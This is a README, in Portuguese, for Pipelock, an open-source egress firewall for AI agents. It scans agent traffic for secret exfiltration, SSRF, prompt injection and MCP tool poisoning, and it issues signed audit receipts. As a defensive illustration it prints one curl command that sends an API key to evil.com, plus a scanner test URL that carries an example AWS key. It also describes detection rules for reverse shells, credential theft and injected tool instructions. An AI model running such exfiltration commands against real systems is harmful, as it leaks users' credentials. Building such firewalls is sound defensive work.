Firewall de agente de IA de código aberto que examina tráfego HTTP, MCP, A2A e WebSocket em busca de exfiltração, SSRF e injeção de prompt, emitindo recibos de ação assinados e verificáveis para auditoria.
Firewall open-source para agentes de IA com Controle de Egresso Verificável.
O Pipelock posiciona-se entre agentes de IA e a rede. Ele inspeciona tráfego HTTP, WebSocket, MCP e A2A intermediado, além do conteúdo de túneis CONNECT quando a interceptação TLS está ativada, em busca de exfiltração de segredos, injeção de prompt, SSRF, envenenamento de ferramentas e cadeias arriscadas de chamadas de ferramentas. CONNECT puro sem interceptação é verificado no nível do hostname e URL.
O Pipelock emite comprovantes de ação assinados pelo mediador sobre decisões de limite com reconhecimento de conteúdo, para que um revisor possa verificar o que o Pipelock decidiu fora do tempo de execução do agente. O corpus público agent-egress-bench exercita as detecções. Saiba mais: Firewall open-source para IA.
Funciona com: Claude Code · OpenAI Codex · Cline · OpenCode · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph
Problema · Verificar · Início Rápido · Ação · Capturas · Recursos · Arquitetura · Documentação · Playground · Blog · Perguntar ao Dosu
Experimente no seu navegador no playground ao vivo. Se o Pipelock merecer, marque o repositório com estrela para que outras pessoas o encontrem.
Seu agente de IA tem $PROVIDER_API_KEY em seu ambiente, além de acesso ao shell. Uma única requisição pode vazar:```bash
curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching
Cada ação da máquina que seu agente toma deve cruzar uma fronteira entre seus segredos e a internet aberta. O Pipelock se torna essa fronteira quando o agente é roteado através de seu proxy, wrapper MCP, sandbox, modelo de contenção de host ou topologia de implantação em cluster. Ele examina o tráfego de saída e entrada mediado, bloqueia ou sinaliza ataques com base no modo e registra evidências assinadas da decisão.
---
## Verifique Você Mesmo
A maioria das ferramentas de segurança de agentes pede que você confie no painel delas. O Pipelock entrega a você um recibo assinado e permite que você o verifique por conta própria, offline, com uma chave que você possui. Sem conta e sem servidor.
A demonstração embutida dispara cenários de ataque reais, os bloqueia e escreve recibos assinados mais a chave pública no disco sem configuração e sem rede:```bash
pipelock demo --receipts-dir ./out # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub # check a signature yourself (each receipt is <action-id>.json)
O placar avalia cada declaração por si só e afirma o que não prova: se algo aconteceu fora dos limites que o Pipelock medeia. Abaixo dele, a linha do tempo de recibos lista as decisões mediadas registradas com seus vereditos e links de hash. Um recibo que é honesto sobre seus próprios limites supera uma marca de verificação verde que os oculta.
O visualizador de evidências é gratuito e não requer licença:```bash pipelock evidence serve --receipt-dir ./out # read-only HTML report for one recorded session pipelock evidence view --receipt-dir ./out # static offline report, no server
Duas notas de honestidade, declaradas antecipadamente. A demonstração assina com uma chave efêmera que imprime durante a execução, o que prova que os recibos são autoconsistentes, em vez de vinculados a uma identidade nomeada. O playground público do Pipelock é um caminho separado que verifica por meio de uma chave que o Pipelock publica. E o operador que executa o Pipelock detém a chave de assinatura, portanto, um recibo prova o que o limite decidiu e que o detentor da chave o assinou, não que o operador é honesto. `pipelock anchor receipts` registra pontos de verificação da cadeia de recibos em um backend local ou em um log de transparência Rekor para auditoria posterior, e a verificação independente do operador contra essa âncora ainda está sendo comprovada de ponta a ponta.
O argumento completo de por que a prova supera as promessas está em [demonstration over attestation](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security/demonstration-over-attestation.md).
---
## Início Rápido```bash
# Install from source (Go 1.25+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest
# Set up local agent integrations and generate a config
pipelock init
# Test the scanner
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE" # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/" # allowed
docker pull ghcr.io/luckypipewrench/pipelock:latest
brew install luckyPipewrench/tap/pipelock
</details>
<details>
<summary>Verificar integridade da versão</summary>```bash
gh attestation verify pipelock_3.2.0_linux_amd64.tar.gz --owner luckyPipewrench
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:v3.2.0 --owner luckyPipewrench
Release workflows publicam proveniência SLSA, SBOMs CycloneDX, checksums e imagens de contêiner assinadas. Builds a partir do código-fonte com go install produzem um binário apenas para a Community; artefatos de release pré-construídos incluem código de nível pago que é ativado com uma chave de licença válida.
O painel do operador Pro/Enterprise (pipelock dashboard serve) é um console somente leitura sobre evidências assinadas. Ele suporta autenticação por token, OIDC ou mTLS; permissões RBAC limitadas; visualizações de metadados editados; elevação de visualização bruta; registros de ciclo de vida de isenção; backup e restauração; certificados de cobertura; e visualizações de frota. Está presente em builds e artefatos de release com a tag enterprise e com o recurso de licença necessário.
O visualizador de evidências gratuito de sessão única mostrado acima é separado. Ele não precisa de licença e não possui enumeração entre agentes.
pipelock report --input events.jsonl gera relatórios HTML, JSON ou pacotes assinados com classificação de risco, linha do tempo, categorias de eventos e um apêndice de evidências. O caminho gratuito do Prometheus e Grafana monitora uma instância do Pipelock e é distinto do plano de controle de frota do Enterprise Conductor.
agent-egress-bench executa um corpus de ataques de exfiltração de agente e injeção de prompt contra o Pipelock, ou contra qualquer outra ferramenta. Os números vêm de uma execução que qualquer um pode repetir, não de uma alegação.
O Pipelock opera em três modos:
Para agentes executando modelos não censurados ou "abliterados", a predefinição hostile-model adiciona camadas de defesa ao modo estrito: limites agressivos de entropia, bloqueio geral de ferramentas de rede, vinculação de sessão, detecção de exfiltração entre requisições e um kill switch pré-configurado. pipelock audit recomenda esta predefinição quando detecta cadeias de ferramentas conhecidas de remoção de guardrails por meio de sinais de dependência.
Avaliação honesta: O modo estrito bloqueia HTTP de saída que atravessa o Pipelock, exceto domínios de API na lista de permissões, portanto não há canal de exfiltração através do próprio proxy. O modo equilibrado eleva o nível de "um comando curl" para "ataque sofisticado pré-planejado". O modo auditoria oferece visibilidade que você não tem hoje. Com o sandbox ativado (
pipelock sandbox) ou a topologia de contenção de host/cluster aplicada, o Pipelock adiciona uma fronteira de SO ou implantação sobre a inspeção de conteúdo. A saída direta ainda precisa ser bloqueada por essa fronteira para ferramentas não cooperativas que ignoram as configurações de proxy.
Matriz de referência: docs/comparison.md
Hub de comparação canônico: Comparação de segurança de runtime de IA
Pipelock é um proxy de egresso de IA e um controle de segurança MCP. Ele fica inline entre seu agente de IA e a rede, escaneia o tráfego de saída e entrada e emite recibos assinados junto com metadados de mediação para atestação fora do runtime do agente. A avaliação de identidade de carga de trabalho AARP/SVID é feita no lado do verificador atualmente: o proxy e os runtimes MCP não consomem evidências SVID em decisões de permitir/negar em tempo real nem vinculam a identidade do ator do recibo a partir de um X.509-SVID.
block, strip, warn ou ask.text/event-stream de gateways LLM e fluxo MCP HTTP/SSE token por token com DLP e varredura de injeção por evento e cruzada entre eventos. Uma detecção encerra o stream de forma fail-closed. Veja Guia de streaming SSE.O Pipelock envolve servidores MCP com varredura bidirecional:```bash
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
pipelock mcp proxy --upstream http://localhost:8080/mcp
pipelock run --config pipelock.yaml --mcp-listen 127.0.0.1:8889 --mcp-upstream http://localhost:3000/mcp
- **Verificação de entrada:** As solicitações do cliente MCP são verificadas quanto a vazamentos de DLP e injeção nos argumentos das ferramentas.
- **Verificação de resposta:** as respostas do servidor são verificadas antes que o agente as veja.
- **Envenenamento de ferramentas:** as descrições de `tools/list` são verificadas quanto a instruções ocultas e mudanças de 'rug-pull' no meio da sessão.
- **Política de ferramentas:** 17 regras internas bloqueiam exclusões destrutivas de arquivos, acesso a credenciais, shells reversos, mecanismos de persistência, execução de comandos codificados e chamadas de ferramentas de alto risco relacionadas antes da execução.
- **Cadeias de chamadas de ferramentas:** 10 padrões de eixos de categoria internos detectam reconhecimento, roubo de credenciais, preparação de dados, persistência, exfiltração e cadeias de callback com tolerância de lacuna configurável.
- **Inspeção A2A:** O tráfego do protocolo Google Agent-to-Agent é inspecionado nos caminhos forward e MCP; o Pipelock não é um proxy A2A independente.
- **Listeners HTTP MCP autenticados (v3.2.0):** os listeners MCP não loopback falham fechados por padrão e exigem `--mcp-auth-token-file`, ou um `--mcp-allow-unauthenticated` explícito para implantações isoladas por política de rede. Listeners loopback sem token rejeitam autoridades Host de DNS-rebound e porta errada e limpam credenciais do listener dos cabeçalhos.
### Containment
A contenção de processos não privilegiados usa primitivas nativas do SO. O Linux usa Landlock, seccomp e namespaces de rede. O macOS usa perfis `sandbox-exec`. Em contêineres, `--best-effort` mantém Landlock e seccomp quando a criação de namespace é restrita, enquanto a varredura de rede usa roteamento baseado em proxy.```bash
pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort -- python agent.py
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server
A contenção de host vai além no Linux:```bash pipelock contain install pipelock contain verify pipelock contain run -- claude-code
`pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` gerencia um modelo de 3-UID operador / proxy / agente com roteamento nftables owner-match, configuração de serviço systemd, comandos wrapper, ACLs de workspace, atualização de CA e evidência de postura. Veja [`docs/contain-cli.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md).
### Evidências e Recibos
- **Gravador de voo:** log de evidências JSONL encadeado por hash com checkpoints assinados em Ed25519 e redação DLP. O `pipelock init` provisiona um diretório de gravador e chave de assinatura para instalações padrão, enquanto o gravador permanece inerte até que um diretório e chave existam. Veja [Flight Recorder](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/flight-recorder.md).
- **Recibos de ação:** registros assinados emitidos para ações mediadas, contendo veredito, hash da política, transporte e camada de scanner. Bloqueios produzem recibos; a aplicação de recebimento no caminho de autorização requer `flight_recorder.require_receipts`. Verifique com `pipelock verify-receipt --key <signer.pub>`. Execuções não fixadas são apenas estruturais e saem com código diferente de zero a menos que `--allow-unpinned` seja passado.
- **Envelope de mediação:** metadados de banda lateral RFC 8941 em requisições HTTP encaminhadas e MCP `_meta`, com tipo de ação, veredito, identidade do ator, hash da política, contexto de contaminação e ID de correlação de recibo. Veja [guia de federação](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md).
- **Conformidade de recibos:** quatro implementações independentes de verificador multilíngue (Go, TypeScript, Rust e Python) executadas contra um [corpus de conformidade](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/conformance/) compartilhado, incluindo entradas malformadas e forjáveis, como chaves duplicadas, estouro de inteiro e surrogates não pareados. Uma superfície wasm de navegador reutiliza a implementação do verificador Go. A avaliação AARP/SVID permanece como um perfil de verificador offline, não como aplicação de identidade em tempo de execução.
- **Âncoras:** `pipelock anchor receipts` registra checkpoints da cadeia de recibos em um backend local ou Rekor. A ancoragem Rekor é material de prova para auditoria posterior; a verificação Rekor requer chaves de log fixadas e o caminho de independência do operador ponta a ponta ainda está sendo comprovado.
- **Cápsula de postura:** `pipelock posture emit` e `pipelock posture verify` produzem e verificam um instantâneo assinado da postura de aplicação de uma implantação, com um gate de CI e modelo de pontuação, para que um revisor possa confirmar que o limite foi configurado conforme afirma.
### Frota e Enterprise
- **Painel do operador:** `pipelock dashboard serve` é um console somente leitura sobre evidências assinadas. Pro desbloqueia as visões Visão Geral, Evidências, Isenções, Agentes, Orçamentos e Confiança e Chaves; Enterprise adiciona as visões Frota, Bancada e Incidente. Veja [`docs/cli/dashboard.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md).
- **Visualizador gratuito de evidências:** `pipelock evidence serve` e `pipelock evidence view` renderizam uma sessão de gravador selecionada sem licença ou enumeração entre agentes. `pipelock evidence verify-cert` verifica certificados de cobertura emitidos pelo Pro offline.
- **Conductor:** plano de controle de frota Enterprise para distribuição de pacotes de política assinados, sink de evidências assinadas (`pipelock fleet-sink`), inscrição, kill remoto, rollback, dry-run, repetição de decisão e preflight de derivação de estado de execução/aplicação via mTLS/SPIFFE. Os seguidores aplicam localmente; o modo de política desatualizada padrão aciona uma fonte de negação independente após sua janela de carência, enquanto a substituição documentada `continue_last_known_good` enfraquece essa postura. O Conductor não possui segredos de agentes. Veja o [guia Conductor](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md).
- **Retenção legal:** `pipelock dashboard legal-hold add/list/release` gerencia retenções de preservação como metadados de conformidade mantidos fora da autoridade HTTP do painel, de modo que um painel comprometido possa ler retenções, mas nunca forjá-las ou excluí-las.
- **Linha de base comportamental:** perfil-e-bloqueio para comportamento de ferramentas MCP com `pipelock baseline list/show/ratify/forget` para aprovação do operador e reaprendizado. Veja [`docs/cli/baseline.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md).
### Operabilidade
- **Interruptor de segurança:** seis fontes de ativação independentes: arquivo de configuração, API remota, SIGUSR1, arquivo sentinela, kill remoto do Conductor e detecção de pacote desatualizado. Qualquer fonte ativa bloqueia o tráfego, com isenções de endpoint e IP no controlador.
- **API de varredura:** varredura programática para vereditos `url`, `dlp`, `prompt_injection` e `tool_call` com autenticação por token bearer, limite de taxa por token, descobertas estruturadas e métricas Prometheus. Veja [docs/scan-api.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/scan-api.md).
- **Sentinela de sistema de arquivos:** monitora diretórios de trabalho do agente em busca de segredos gravados em disco e atribui gravações à linhagem de subprocessos MCP no Linux. Veja [docs/guides/filesystem-sentinel.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/filesystem-sentinel.md).
- **Emissão de eventos:** encaminha eventos de auditoria para SIEMs, receptores de webhook, syslog, CEF, OTLP e saídas de métricas sem bloquear o caminho crítico do proxy. Veja [docs/guides/siem-integration.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/siem-integration.md).
- **Avaliação de segurança:** `pipelock assess init`, `pipelock assess run` e `pipelock assess finalize` orquestram simulação de ataque, pontuação de configuração, verificação de instalação e descoberta MCP em um pacote de evidências reproduzível. Exposições críticas, como servidores MCP desprotegidos, limitam a nota independentemente da pontuação numérica. O resumo gratuito mostra sua nota, pontuações por seção e principais descobertas; uma licença desbloqueia o relatório completo com descobertas específicas do servidor, comandos de remediação e evidências assinadas em Ed25519.
<details>
<summary>Mais recursos</summary>
| Recurso | O Que Faz |
|---------|-------------|
| **Relatórios de Auditoria** | `pipelock report --input events.jsonl` gera relatórios HTML/JSON/pacote com classificação de risco, linha do tempo e apêndice de evidências. Assinatura Ed25519 com `--sign`. ([Exemplo de relatório](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/sample-report.html)) |
| **Diagnosticar** | `pipelock diagnose` executa 7 verificações locais para verificar sua configuração de ponta a ponta sem rede. |
| **Doctor de Aplicação** (v2.5) | `pipelock doctor` relata status configurado vs. aplicável para proxy, interceptação TLS, varredura de corpo de requisição, Browser Shield, encapsulamento MCP, integridade binária MCP, proveniência de ferramentas, file_sentry, Sentry e sinais de limite de implantação. |
| **Bloqueio de Injeção no Corpo da Requisição** (v2.5) | Resultados de injeção de prompt no corpo da requisição e DLP crítico bloqueiam destinos não provedores no modo de aplicação em transportes forward, reverse, TLS-intercept e WebSocket, com cabeçalhos de motivo de bloqueio para diagnóstico visível ao operador. |
| **Política de Requisição** (v2.6) | Trilhos de negação/aviso por padrão para operações de API de saída: rota correspondente mais predicados de operação GraphQL, recursão em envelopes JSON `$batch`, falha fechada em corpos não analisáveis ou opacos, e execução antes do gate de contrato. Veja o [guia de política de requisição](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/request-policy.md). |
| **Interceptação TLS** | MITM de túnel CONNECT opcional: descriptografar, varrer corpos/cabeçalhos/respostas, re-criptografar. `pipelock tls init` gera uma CA, então `pipelock tls install-ca` imprime etapas de instalação no armazenamento de confiança da plataforma. |
| **Dicas de Bloqueio** | `explain_blocks: true` opt-in adiciona sugestões de correção a respostas bloqueadas. |
| **Auditoria de Projeto** | `pipelock audit ./project` varre riscos de segurança e gera uma configuração personalizada. |
| **Pontuação de Configuração** (v2.6) | `pipelock audit score --config pipelock.yaml` avalia a postura de segurança em 23 categorias com um orçamento de 170 pontos e nota por letra. |
| **Integridade de Arquivos** | Manifestos SHA256 detectam arquivos de workspace modificados, adicionados ou removidos. |
| **Proteção Git** | `git diff \| pipelock git scan-diff` captura segredos antes do commit. |
| **Assinatura Ed25519** | Gerenciamento de chaves, assinatura de arquivos e verificação de assinatura para confiança multi-agente. |
| **Perfil de Sessão** | Análise comportamental por sessão para explosões de domínio e picos de volume. |
| **Aplicação Adaptativa** | Pontuação de ameaça por sessão com escalada de aviso para bloqueio, temporizadores de desescalada e detecção de explosão de domínio. |
| **CLI de Operador Adaptativo** (v2.5) | `pipelock adaptive status / flush / whoami` expõe o estado adaptativo de tempo de execução através da API admin autenticada. Veja [`docs/cli/adaptive.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/adaptive.md). |
| **Supressão de Descobertas** | Silencie falsos positivos conhecidos através de regras de configuração ou comentários inline `pipelock:ignore`. |
| **Suporte Multi-Agente** | Identificação de agente através do cabeçalho `X-Pipelock-Agent` para filtragem por agente. |
| **Monitoramento de Frota** | Métricas Prometheus por instância mais [painel Grafana](https://github.com/luckypipewrench/pipelock/blob/HEAD/configs/grafana-dashboard.json) pronto para importar. Monitoramento gratuito de instância única, distinto do Conductor. |
| **Painel do Operador** (v3.1, Pro/Enterprise) | `pipelock dashboard serve` fornece visões somente leitura Visão Geral, Evidências, Isenções, Agentes, Orçamentos, Confiança e Chaves, Frota, Bancada e Incidente com autenticação por token, OIDC ou mTLS, RBAC limitado, elevação de visualização bruta, backup/restore, registros de ciclo de vida de isenção e certificados de cobertura. Veja [`docs/cli/dashboard.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md). |
| **Visualizador Gratuito de Evidências** (v3.1) | `pipelock evidence serve` serve uma sessão de gravador selecionada como um relatório HTML somente leitura sem licença e sem enumeração entre agentes. `pipelock evidence verify-cert` verifica certificados de cobertura emitidos pelo Pro offline. |
| **Conductor: plano de controle de frota** (v2.7, Enterprise) | Distribuição de pacotes de política assinados, sink de auditoria de evidências assinadas (`pipelock fleet-sink`), inscrição, kill remoto, rollback de política, dry-run, repetição de decisão e preflight de derivação de estado de execução/aplicação via mTLS/SPIFFE. Controlado pelo recurso de licença `fleet`; comportamento de política desatualizada é explícito e padrão é negar estritamente. Veja o [guia Conductor](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md). |
| **Varredura A2A** | Detecção de envenenamento de Cartão de Agente, monitoramento de derivação de cartão e prevenção de contrabando de sessão para o protocolo Agent-to-Agent do Google em caminhos forward/MCP. |
| **Linha de Base Comportamental** | Perfil-e-bloqueio para comportamento de ferramentas MCP com `pipelock baseline list/show/ratify/forget` para aprovação do operador e reaprendizado. Veja [`docs/cli/baseline.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md). |
| **Negação de Carteira** | Orçamentos MCP por agente para total de chamadas de ferramenta, repetições da mesma ferramenta, detecção de loop/ciclo e duração de tempo real. |
| **Escalada de Contaminação** | Escalada de política baseada em exposição através de limites MCP e de tarefa até que a confiança seja restaurada. |
| **Envelope de Mediação** | Metadados de banda lateral RFC 8941 em requisições HTTP encaminhadas e MCP `_meta`, com verificação de entrada, proteção de repetição, formato de ator SPIFFE e diretório de chave de assinatura RFC 9421. Veja [guia de federação](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md). |
| **Conformidade de Recibos** | Suíte de verificação de recebimento entre implementações (`sdk/conformance/`) através de implementações independentes Go, TypeScript, Rust e Python, mais uma superfície wasm de navegador apoiada por Go. `EvidenceReceipt v2` usa canonicalização RFC 8785/JCS. A avaliação AARP/SVID permanece no lado do verificador offline. |
| **Aprenda e Bloqueie** (v2.4) | Contratos comportamentais por agente: observe o tráfego, compile um contrato candidato assinado, reproduza observações capturadas em shadow, ratifique por regra, promova o manifesto ativo assinado e aplique em tempo real em transportes com URL mais chamadas de ferramenta MCP. Veja [guia aprenda e bloqueie](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/learn-and-lock.md). |
| **Cabeçalho de Motivo de Bloqueio** (v2.4) | `X-Pipelock-Block-Reason` em caminhos de bloqueio com capacidade HTTP, com o mesmo vocabulário de motivo em metadados de erro JSON-RPC MCP. Veja [cabeçalho de motivo de bloqueio](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/block-reason-header.md). |
| **Watchdog de Detecção de Cunha** (v2.4) | `health_watchdog` retorna `/health` 503 quando um batimento cardíaco de subsistema fica desatualizado. Veja [guia de endpoint de saúde](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/health.md). |
| **Forma de Plugin de Provedor de Redação** (v2.4) | Parsers de redação de primeira parte para APIs de chat Anthropic, OpenAI e Gemini, com uma forma de plugin de provedor para parsers de terceiros. |
| **Esquema de Pacote de Auditoria v0 + Verificadores** (v2.5) | Esquema canônico de Pacote de Auditoria de primeira parte com implementações de verificador Go, TypeScript e Rust, mais CLI standalone [`pipelock-verifier`](https://github.com/luckypipewrench/pipelock/blob/HEAD/cmd/pipelock-verifier/). O esquema está sob [`sdk/audit-packet/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/audit-packet/); os pacotes de verificador estão sob [`sdk/verifiers/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/verifiers/). |
| **Ciclo de Vida de Contenção de Host** (v2.5) | `pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` gerencia o modelo de contenção de 3-UID. Veja [`docs/contain-cli.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md). |
| **Manifestos de Integridade MCP** (v2.5) | `pipelock mcp integrity manifest generate / verify / sign / verify-signature` fixa binários/scripts de servidor MCP por hash e pode exigir uma assinatura de manifesto confiável antes da inicialização do subprocesso. Veja [`docs/cli/mcp-integrity.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/mcp-integrity.md). |
| **Contrato de Iniciador MCP Kubernetes** (v2.5) | `pipelock init sidecar --mcp-upstream` emite configuração de ouvinte companheiro, porta de serviço, anotações de workload, permissão NetworkPolicy, `PIPELOCK_MCP_PROXY_URL` e `PIPELOCK_MCP_CONFIG` montado. Veja [`docs/cli/init-sidecar.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/init-sidecar.md). |
| **Modo Estrito de Federação** (v2.5) | A verificação de envelope de mediação de entrada requer atores no formato SPIFFE por padrão, tombstones de contrato são aplicados e `pipelock envelope trust add/list/remove/verify` gerencia a confiança local. Veja [guia de federação](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md). |
| **Política de Mídia** | Remove metadados esteganográficos de JPEG/PNG, rejeita áudio/vídeo por padrão, endurece conteúdo ativo SVG e impõe limites de tamanho de imagem. Veja [Política de Mídia](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/media-policy.md). |
| **Mapeamentos de Conformidade** | OWASP MCP Top 10, OWASP Agentic Top 15, OWASP LLM Top 10, NIST 800-53, EU AI Act e mapeamentos de aquisição/auditoria. |
</details>
---
## Gratuito, Pro e Enterprise
Toda detecção, aplicação, contenção e evidência de agente único é gratuita para sempre sob Apache 2.0. Os níveis pagos adicionam coordenação multi-agente (Pro) e governança de frota mais conformidade (Enterprise).
| Capacidade | Gratuito | Pro | Enterprise |
|---|:--:|:--:|:--:|
| Varredura e detecção (pipeline ordenado de URL, DLP, injeção, SSRF, streaming SSE, redação, proteção de endereço) | Sim | Sim | Sim |
| Varredura MCP e A2A (entrada, resposta, política de ferramenta, cadeia de ferramenta, envenenamento, integridade, listeners autenticados) | Sim | Sim | Sim |
| Contenção, sandbox, `contain` de host, interruptor de segurança de 6 fontes | Sim | Sim | Sim |
| Recibos de ação, gravador de voo, âncoras, visualizador gratuito de evidências, `verify-cert`, verificador standalone | Sim | Sim | Sim |
| Tokens canário, skill-scan, `explain`, Prometheus e Grafana de instância única | Sim | Sim | Sim |
| Perfis por agente: identidade, orçamentos, isolamento de configuração e scanner, sandbox por agente | Não | Sim | Sim |
| Roteamento por agente por CIDR de origem e seletor de rede | Não | Sim | Sim |
| Painel do operador: Visão Geral, Evidências, Isenções, Agentes, Orçamentos, Confiança e Chaves | Não | Sim | Sim |
| Certificados de cobertura por agente | Não | Sim | Sim |
| Retenção legal e metadados de conformidade | Não | Sim | Sim |
| Plano de controle de frota Conductor, sink de auditoria `fleet-sink`, kill remoto, rollback, repetição de decisão, preflight de derivação | Não | Não | Sim |
| Inscrição de seguidor mTLS e distribuição de política assinada verificada por roster | Não | Não | Sim |
| Visões de frota do painel: Frota, Bancada, Incidente | Não | Não | Sim |
O relatório assinado do `pipelock assess` é um direito separado de `assess`, independente de Pro e Enterprise. A nota gratuita do assess permanece inalterada.
---
## Como Funciona
Pipelock usa **separação de capacidades**: em uma implantação com aplicação, o processo do agente possui segredos, mas não tem acesso direto à rede. Pipelock tem acesso à rede, mas não possui segredos do agente. Mesmo que o agente sofra injeção de prompt, ele não pode alcançar os controles do firewall.
Três modos de proxy HTTP (mesma porta), mais um proxy MCP dedicado e inspeção A2A nos caminhos forward e MCP:
- **Proxy Fetch** (`/fetch?url=...`): Busca a URL, extrai texto, varre por injeção, retorna conteúdo limpo.
- **Proxy Forward** (`HTTPS_PROXY`): Tunelamento HTTP CONNECT padrão sem alterações no código da aplicação. A configuração do proxy ainda é necessária. A interceptação TLS opcional permite a varredura de payload.
- **Proxy WebSocket** (`/ws?url=ws://...`): Varredura bidirecional de frames com detecção de DLP + injeção.
- **Proxy MCP** (`pipelock mcp proxy`): Encapsula servidores MCP stdio ou HTTP com varredura bidirecional.
- **Inspeção A2A**: Inspeciona o tráfego do protocolo Google Agent-to-Agent conforme ele cruza os caminhos forward e MCP.
<details>
<summary>Diagrama textual (para terminais)</summary>```
┌──────────────────────────────────────────────────────────┐
│ PRIVILEGED ZONE │
│ │
│ AI Agent │
│ - API keys, credentials, private code and context │
│ - Network-isolated by deployment │
└────────────────────────────┬─────────────────────────────┘
│ mediated request
│ fetch / CONNECT / WS / MCP / A2A
▼
┌──────────────────────────────────────────────────────────┐
│ FIREWALL ZONE │
│ │
│ Pipelock Agent Firewall │
│ - Destination: URL, SSRF, and DNS checks │
│ - Data: DLP, secret detection, and budgets │
│ - Content: prompt injection and tool poisoning │
│ - Policy: allow, block, or redact │
│ - No agent secrets │
└────────────────────────────┬─────────────────────────────┘
│ approved request
▼
┌──────────────────────────────────────────────────────────┐
│ INTERNET │
│ │
│ Web APIs, websites, MCP servers, tools, and A2A services │
└──────────────────────────────────────────────────────────┘
Internet -- response --> Pipelock -- scanned content --> AI Agent
Gere uma configuração a partir de um preset integrado, ou deixe o pipelock audit adaptar um ao seu projeto:```bash
pipelock presets
pipelock generate config --list
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml
| Predefinição CLI | Modo | Ação | Melhor para |
|------------|------|--------|----------|
| `balanced` | equilibrado | avisar | Uso geral (padrão) |
| `strict` | rigoroso | bloquear | Alta segurança, indústrias regulamentadas |
| `audit` | auditoria | avisar | Avaliação apenas de log |
| `claude-code` | equilibrado | bloquear | Claude Code não supervisionado |
| `cursor` | equilibrado | bloquear | IDE Cursor |
| `generic-agent` | equilibrado | avisar | Novos agentes durante ajuste |
| `hostile-model` | rigoroso | bloquear | Modelos não censurados/abliterados |
As alterações de configuração são captadas por um observador de arquivos ou SIGHUP. Referência completa: **[docs/configuration.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/configuration.md)**
Para ajuste de falsos positivos: **[docs/false-positive-tuning.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/false-positive-tuning.md)**
---
## Guias de Integração
- **[Claude Code](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/claude-code.md):** Configuração de proxy MCP, configuração `.claude.json`
- **[OpenAI Codex](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/codex.md):** Encapsulamento de proxy MCP, proxy de encaminhamento, integração de sandbox
- **[Cline](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/cline.md):** Encapsulamento de proxy MCP para o `mcp.json` do Cline
- **[OpenCode](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/opencode.md):** Encapsulamento de proxy MCP para servidores MCP locais e remotos do OpenCode
- **[Zed](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/zed.md):** Encapsulamento de proxy MCP para o bloco `context_servers` no `settings.json` do Zed
- **[OpenAI Agents SDK](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/openai-agents.md):** `MCPServerStdio`, transferências multiagente
- **[Google ADK](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/google-adk.md):** `McpToolset`, `StdioConnectionParams`
- **[AutoGen](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/autogen.md):** `StdioServerParams`, `mcp_server_tools()`
- **[CrewAI](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/crewai.md):** Encapsulamento `MCPServerStdio`, `MCPServerAdapter`
- **[LangGraph](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/langgraph.md):** `MultiServerMCPClient`, `StateGraph`
- **[Hermes](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/hermes.md):** cobertura completa de plug-in ou encapsulamento MCP mais leve para o agente da Nous Research, com preservação do sidecar de cabeçalho de autenticação
